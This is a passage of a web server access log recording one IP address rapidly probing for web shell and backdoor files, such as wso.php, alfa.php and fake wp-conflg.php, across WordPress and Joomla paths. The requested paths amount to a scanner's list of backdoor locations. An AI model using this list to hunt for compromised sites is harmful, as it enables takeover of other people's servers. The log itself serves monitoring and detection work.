AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:01:13 +0300] "GET /wp-content/themes/twentytwentyfour/system_cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:13 +0300] "GET /wp-content/themes/sky-pro/js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:13 +0300] "GET /wp-includes/Text/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:13 +0300] "GET /wp-content/themes/pridmag/waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:01:13 +0300] "GET /theme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:01:13 +0300] "GET /wp-content/themes/twentytwentytwo/waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:13 +0300] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:01:14 +0300] "GET /Simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:14 +0300] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 194.5.53.96 - - [02/Feb/2026:16:01:14 +0300] "GET /wp-admin/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:01:14 +0300] "GET /wp-admin/css/colors/ocean/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:01:14 +0300] "GET /wp-content/plugins/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:01:14 +0300] "GET /.well-known/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.53.96 - - [02/Feb/2026:16:01:14 +0300] "GET /css/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:15 +0300] "GET /images/waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:01:15 +0300] "GET /wp-includes/SimplePie/Cache/upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.5.53.96 - - [02/Feb/2026:16:01:15 +0300] "GET /small.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:15 +0300] "GET /wp-includes/js/tinymce/plugins/fullscreen/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:15 +0300] "GET /NewFile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:01:15 +0300] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:15 +0300] "GET /error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:01:15 +0300] "GET /wp-content/plugins/pwnd/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:16 +0300] "GET /wp-includes/widgets/class-wp-widget-search-function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.53.96 - - [02/Feb/2026:16:01:16 +0300] "GET /wp-content/languages/themes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:16 +0300] "GET /wp-files.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.5.53.96 - - [02/Feb/2026:16:01:16 +0300] "GET /functions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.53.96 - - [02/Feb/2026:16:01:16 +0300] "GET /admin/controller/extension/extension/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:16 +0300] "GET /wp-includes/SimplePie/Canonical.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.53.96 - - [02/Feb/2026:16:01:16 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/uss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:01:16 +0300] "GET /wp-includes/certificates/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:17 +0300] "GET /aks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:01:17 +0300] "GET /litespeed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:17 +0300] "GET /img/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:01:17 +0300] "GET /wp-includes/class-feed-index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:01:17 +0300] "GET /wpn.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:17 +0300] "GET /wp-content/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.5.53.96 - - [02/Feb/2026:16:01:17 +0300] "GET /.well-known/acme-challenge/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.5.53.96 - - [02/Feb/2026:16:01:18 +0300] "GET /wp-includes/customize/class-wp-customize-nav-menu-section-boolean.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.53.96 - - [02/Feb/2026:16:01:18 +0300] "GET /wp-content/themes/twentytwentyfour/functions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:01:18 +0300] "GET /wp-includes/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:01:18 +0300] "GET /wp-includes/class-wp-dependency-float.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:18 +0300] "GET /wp-includes/PHPMailer/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.53.96 - - [02/Feb/2026:16:01:18 +0300] "GET /wp-includes/PHPMailer/purna.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 194.5.53.96 - - [02/Feb/2026:16:01:18 +0300] "GET /wp-includes/interactivity-api/interactivity-api-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 194.5.53.96 - - [02/Feb/2026:16:01:18 +0300] "GET /wp-includes/l10n/class-wp-widddget-pages.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:19 +0300] "GET /tinyfilemanager/tinyfilemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.5.53.96 - - [02/Feb/2026:16:01:19 +0300] "GET /wp-admin/css/colors/light/colors.min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:19 +0300] "GET /wp-includes/customize/class-wp-customize-nav-menu-auto-add-control-repository.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:01:19 +0300] "GET /wp-includes/assets/script-loader-react-refresh-runtime.min-soap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:19 +0300] "GET /wp-includes/ID3/module.audio-video.riff-set.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.53.96 - - [02/Feb/2026:16:01:19 +0300] "GET /fog/management/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:19 +0300] "GET /wp-includes/js/tinymce/utils/license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.5.53.96 - - [02/Feb/2026:16:01:19 +0300] "GET /components/com_newsfeeds/models/indexx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.5.53.96 - - [02/Feb/2026:16:01:20 +0300] "GET /images/wp-aespa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 194.5.53.96 - - [02/Feb/2026:16:01:20 +0300] "GET /wp-includes/Text/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:20 +0300] "GET /.well-known/acme-challenge/wp-load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:01:20 +0300] "GET /wp-content/upgrade/cc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:01:20 +0300] "GET /wp-content/themes/aahana/worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.5.53.96 - - [02/Feb/2026:16:01:21 +0300] "GET /anonse/lock360.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:21 +0300] "GET /wp-content/themes/bltm/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:21 +0300] "GET /wp-admin/includes/class_api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:21 +0300] "GET /plugins/content/apismtp/apismtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:21 +0300] "GET /wp-admin/includes/class-core-upgrader-first.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:21 +0300] "GET /wp-admin/css/wp-css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:01:21 +0300] "GET /.well-known/save.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.5.53.96 - - [02/Feb/2026:16:01:22 +0300] "GET /wp-includes/feed-rsss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:22 +0300] "GET /wp-includes/IXR/goto.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:22 +0300] "GET /wp-admin/css/colors/blue/xboom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:01:22 +0300] "GET /uploads/af32.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 194.5.53.96 - - [02/Feb/2026:16:01:22 +0300] "GET /wp-content/themes/kadence/functions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:22 +0300] "GET /Sanskrit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:01:22 +0300] "GET /wp-fmfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:22 +0300] "GET /.trash7309/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:23 +0300] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:23 +0300] "GET /wp-content/plugins/ioxi/ioxi/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.5.53.96 - - [02/Feb/2026:16:01:23 +0300] "GET /memberfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:01:23 +0300] "GET /infos.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.5.53.96 - - [02/Feb/2026:16:01:23 +0300] "GET /modules/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.53.96 - - [02/Feb/2026:16:01:23 +0300] "GET /wp-content/x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:23 +0300] "GET /wp-content/wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.5.53.96 - - [02/Feb/2026:16:01:24 +0300] "GET /options-writing.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:01:24 +0300] "GET /options-reading.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:24 +0300] "GET /wsad.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:24 +0300] "GET /nation.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:24 +0300] "GET /wp-includes/js/codemirror/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:24 +0300] "GET /wp-includes/wp_class_datlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:01:25 +0300] "GET /wp-includes/js/tinymce/langs/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.5.53.96 - - [02/Feb/2026:16:01:25 +0300] "GET /autoload_classmap/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:25 +0300] "GET /wp-atomx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:25 +0300] "GET /admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:25 +0300] "GET /wp-admin/maint/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:25 +0300] "GET /XxX.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:01:25 +0300] "GET /wp-content/plugins/ubh/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:25 +0300] "GET /wp-includes/SimplePie/Registry-private.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.5.53.96 - - [02/Feb/2026:16:01:26 +0300] "GET /wp-includes/assets/script-modules-packages.min-meta.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.5.53.96 - - [02/Feb/2026:16:01:26 +0300] "GET /wp-includes/widgets/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:26 +0300] "GET /wp-content/themes/twentytwentyfour/content-index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.5.53.96 - - [02/Feb/2026:16:01:26 +0300] "GET /admin/controller/extension/extension/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:26 +0300] "GET /wp-content/themes/twentytwentyfour/system_cache.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:26 +0300] "GET /wp-admin/css/colors/modern/colors.css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.5.53.96 - - [02/Feb/2026:16:01:26 +0300] "GET /wp-includes/style-engine/adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.5.53.96 - - [02/Feb/2026:16:01:27 +0300] "GET /css/media-widget-vide02.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:27 +0300] "GET /wp-includes/blocks/group/wp-style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:27 +0300] "GET /images/buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.5.53.96 - - [02/Feb/2026:16:01:27 +0300] "GET /templates/beez3/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.5.53.96 - - [02/Feb/2026:16:01:27 +0300] "GET /wp-includes/widgets/class-wp-wolf-widget.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:27 +0300] "GET /wp-admin/css/colors/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:28 +0300] "GET /plugins/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:28 +0300] "GET /.well-known/header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:28 +0300] "GET /wordpress/wp-content/uploads/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.5.53.96 - - [02/Feb/2026:16:01:28 +0300] "GET /.well-known/pki-validation/server.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 